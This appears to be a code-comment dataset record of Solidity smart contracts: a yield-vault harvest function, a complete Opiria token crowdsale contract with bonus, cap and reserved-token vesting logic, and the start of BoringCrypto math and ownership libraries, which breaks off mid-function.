compounds earnings and charges performance fee
function _harvest(address callFeeRecipient) internal whenNotPaused { IMasterChef(chef).deposit(poolId, 0); uint256 outputBal = IERC20(output).balanceOf(address(this)); if (outputBal > 0) { chargeFees(callFeeRecipient); addLiquidity(); uint256 wantHarvested = balanceOfWant(); deposit(); lastHarvest = block.timestamp; emit StratHarvest(msg.sender, wantHarvested, balanceOf()); } }
444,701
pragma solidity ^0.4.21; // ----------------- //begin SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } //end SafeMath.sol // ----------------- //begin Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } //end Ownable.sol // ----------------- //begin ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } //end ERC20Basic.sol // ----------------- //begin Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } //end Pausable.sol // ----------------- //begin ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } //end ERC20.sol // ----------------- //begin BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } //end BasicToken.sol // ----------------- //begin StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //end StandardToken.sol // ----------------- //begin SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } //end SafeERC20.sol // ----------------- //begin PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } //end PausableToken.sol // ----------------- //begin Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } //end Crowdsale.sol // ----------------- //begin MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } //end MintableToken.sol // ----------------- //begin MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } //end MintedCrowdsale.sol // ----------------- //begin TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } //end TimedCrowdsale.sol // ----------------- //begin FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } //end FinalizableCrowdsale.sol // ----------------- //begin TimedPresaleCrowdsale.sol contract TimedPresaleCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public presaleOpeningTime; uint256 public presaleClosingTime; uint256 public bonusUnlockTime; event CrowdsaleTimesChanged(uint256 presaleOpeningTime, uint256 presaleClosingTime, uint256 openingTime, uint256 closingTime); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(isPresale() || isSale()); _; } constructor(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public TimedCrowdsale(_openingTime, _closingTime) { changeTimes(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime); } function changeTimes(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public onlyOwner { require(!isFinalized); require(_presaleClosingTime >= _presaleOpeningTime); require(_openingTime >= _presaleClosingTime); require(_closingTime >= _openingTime); presaleOpeningTime = _presaleOpeningTime; presaleClosingTime = _presaleClosingTime; openingTime = _openingTime; closingTime = _closingTime; emit CrowdsaleTimesChanged(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime); } function isPresale() public view returns (bool) { return now >= presaleOpeningTime && now <= presaleClosingTime; } function isSale() public view returns (bool) { return now >= openingTime && now <= closingTime; } } //end TimedPresaleCrowdsale.sol // ----------------- //begin TokenCappedCrowdsale.sol contract TokenCappedCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public cap; uint256 public totalTokens; uint256 public soldTokens = 0; bool public capIncreased = false; event CapIncreased(); constructor() public { cap = 400 * 1000 * 1000 * 1 ether; totalTokens = 750 * 1000 * 1000 * 1 ether; } function notExceedingSaleCap(uint256 amount) internal view returns (bool) { return cap >= amount.add(soldTokens); } /** * Finalization logic. We take the expected sale cap * ether and find the difference from the actual minted tokens. * The remaining balance and the reserved amount for the team are minted * to the team wallet. */ function finalization() internal { super.finalization(); } } //end TokenCappedCrowdsale.sol // ----------------- //begin OpiriaCrowdsale.sol contract OpiriaCrowdsale is TimedPresaleCrowdsale, MintedCrowdsale, TokenCappedCrowdsale { using SafeMath for uint256; uint256 public presaleWeiLimit; address public tokensWallet; uint256 public totalBonus = 0; bool public hiddenCapTriggered; uint16 public additionalBonusPercent = 0; mapping(address => uint256) public bonusOf; // Crowdsale(uint256 _rate, address _wallet, ERC20 _token) constructor(ERC20 _token, uint16 _initialEtherUsdRate, address _wallet, address _tokensWallet, uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime ) public TimedPresaleCrowdsale(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime) Crowdsale(_initialEtherUsdRate, _wallet, _token) { setEtherUsdRate(_initialEtherUsdRate); tokensWallet = _tokensWallet; require(PausableToken(token).paused()); } //overridden function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { // 1 ether * etherUsdRate * 10 return _weiAmount.mul(rate).mul(10); } function _getBonusAmount(uint256 tokens) internal view returns (uint256) { uint16 bonusPercent = _getBonusPercent(); uint256 bonusAmount = tokens.mul(bonusPercent).div(100); return bonusAmount; } function _getBonusPercent() internal view returns (uint16) { if (isPresale()) { return 20; } uint256 daysPassed = (now - openingTime) / 1 days; uint16 calcPercent = 0; if (daysPassed < 15) { // daysPassed will be less than 15 so no worries about overflow here calcPercent = (15 - uint8(daysPassed)); } calcPercent = additionalBonusPercent + calcPercent; return calcPercent; } //overridden function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _saveBonus(_beneficiary, _tokenAmount); _deliverTokens(_beneficiary, _tokenAmount); soldTokens = soldTokens.add(_tokenAmount); } function _saveBonus(address _beneficiary, uint256 tokens) internal { uint256 bonusAmount = _getBonusAmount(tokens); if (bonusAmount > 0) { totalBonus = totalBonus.add(bonusAmount); soldTokens = soldTokens.add(bonusAmount); bonusOf[_beneficiary] = bonusOf[_beneficiary].add(bonusAmount); } } //overridden function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); if (isPresale()) { require(_weiAmount >= presaleWeiLimit); } uint256 tokens = _getTokenAmount(_weiAmount); uint256 bonusTokens = _getBonusAmount(tokens); require(notExceedingSaleCap(tokens.add(bonusTokens))); } function setEtherUsdRate(uint16 _etherUsdRate) public onlyOwner { rate = _etherUsdRate; // the presaleWeiLimit must be $5000 in eth at the defined 'etherUsdRate' // presaleWeiLimit = 1 ether / etherUsdRate * 5000 presaleWeiLimit = uint256(1 ether).mul(2500).div(rate); } function setAdditionalBonusPercent(uint8 _additionalBonusPercent) public onlyOwner { additionalBonusPercent = _additionalBonusPercent; } /** * Send tokens by the owner directly to an address. */ function sendTokensTo(uint256 amount, address to) public onlyOwner { require(!isFinalized); require(notExceedingSaleCap(amount)); require(MintableToken(token).mint(to, amount)); soldTokens = soldTokens.add(amount); emit TokenPurchase(msg.sender, to, 0, amount); } function sendTokensToBatch(uint256[] amounts, address[] recipients) public onlyOwner { require(amounts.length == recipients.length); for (uint i = 0; i < recipients.length; i++) { sendTokensTo(amounts[i], recipients[i]); } } function addBonusBatch(uint256[] amounts, address[] recipients) public onlyOwner { for (uint i = 0; i < recipients.length; i++) { require(PausableToken(token).balanceOf(recipients[i]) > 0); require(notExceedingSaleCap(amounts[i])); totalBonus = totalBonus.add(amounts[i]); soldTokens = soldTokens.add(amounts[i]); bonusOf[recipients[i]] = bonusOf[recipients[i]].add(amounts[i]); } } function unlockTokenTransfers() public onlyOwner { require(isFinalized); require(now > closingTime + 30 days); require(PausableToken(token).paused()); bonusUnlockTime = now + 30 days; PausableToken(token).unpause(); } function distributeBonus(address[] addresses) public onlyOwner { require(now > bonusUnlockTime); for (uint i = 0; i < addresses.length; i++) { if (bonusOf[addresses[i]] > 0) { uint256 bonusAmount = bonusOf[addresses[i]]; _deliverTokens(addresses[i], bonusAmount); totalBonus = totalBonus.sub(bonusAmount); bonusOf[addresses[i]] = 0; } } if (totalBonus == 0 && reservedTokensClaimStage == 3) { MintableToken(token).finishMinting(); } } function withdrawBonus() public { require(now > bonusUnlockTime); require(bonusOf[msg.sender] > 0); _deliverTokens(msg.sender, bonusOf[msg.sender]); totalBonus = totalBonus.sub(bonusOf[msg.sender]); bonusOf[msg.sender] = 0; if (totalBonus == 0 && reservedTokensClaimStage == 3) { MintableToken(token).finishMinting(); } } function finalization() internal { super.finalization(); // mint 25% of total Tokens (13% for development, 5% for company/team, 6% for advisors, 2% bounty) into team wallet uint256 toMintNow = totalTokens.mul(25).div(100); if (!capIncreased) { // if the cap didn't increase (according to whitepaper) mint the 50MM tokens to the team wallet too toMintNow = toMintNow.add(50 * 1000 * 1000); } _deliverTokens(tokensWallet, toMintNow); } uint8 public reservedTokensClaimStage = 0; function claimReservedTokens() public onlyOwner { uint256 toMintNow = totalTokens.mul(5).div(100); if (reservedTokensClaimStage == 0) { require(now > closingTime + 6 * 30 days); reservedTokensClaimStage = 1; _deliverTokens(tokensWallet, toMintNow); } else if (reservedTokensClaimStage == 1) { require(now > closingTime + 12 * 30 days); reservedTokensClaimStage = 2; _deliverTokens(tokensWallet, toMintNow); } else if (reservedTokensClaimStage == 2) { require(now > closingTime + 24 * 30 days); reservedTokensClaimStage = 3; _deliverTokens(tokensWallet, toMintNow); if (totalBonus == 0) { MintableToken(token).finishMinting(); MintableToken(token).transferOwnership(owner); } } else { revert(); } } function increaseCap() public onlyOwner { require(!capIncreased); require(!isFinalized); require(now < openingTime + 5 days); capIncreased = true; cap = cap.add(50 * 1000 * 1000); emit CapIncreased(); } function triggerHiddenCap() public onlyOwner { require(!hiddenCapTriggered); require(now > presaleOpeningTime); require(now < presaleClosingTime); presaleClosingTime = now; openingTime = now + 24 hours; hiddenCapTriggered = true; } } //end OpiriaCrowdsale.sol
daysPassed will be less than 15 so no worries about overflow here
function _getBonusPercent() internal view returns (uint16) { if (isPresale()) { return 20; } uint256 daysPassed = (now - openingTime) / 1 days; uint16 calcPercent = 0; if (daysPassed < 15) { calcPercent = (15 - uint8(daysPassed)); } calcPercent = additionalBonusPercent + calcPercent; return calcPercent; }
15,803,585
// SPDX-License-Identifier: MIT // Special Thanks to @BoringCrypto for his ideas and patience pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SignedSafeMath.sol library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } function toUInt256(int256 a) internal pure returns (uint256) { require(a >= 0, "Integer < 0"); return uint256(a); } } /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } contract BoringOwnableData { address public owner; address public pendingOwner; } contract BoringOwnable is BoringOwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) function returnDataToString(bytes memory data) internal pure returns (string memory) { if (data.length >= 64) { return abi.decode(data, (string)); } else if (data.length == 32) { uint8 i = 0; while(i < 32 && data[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && data[i] != 0; i++) { bytesArray[i] = data[i]; } return string(bytesArray); } else { return "???"; } } /// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token symbol. function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.name version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token name. function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = 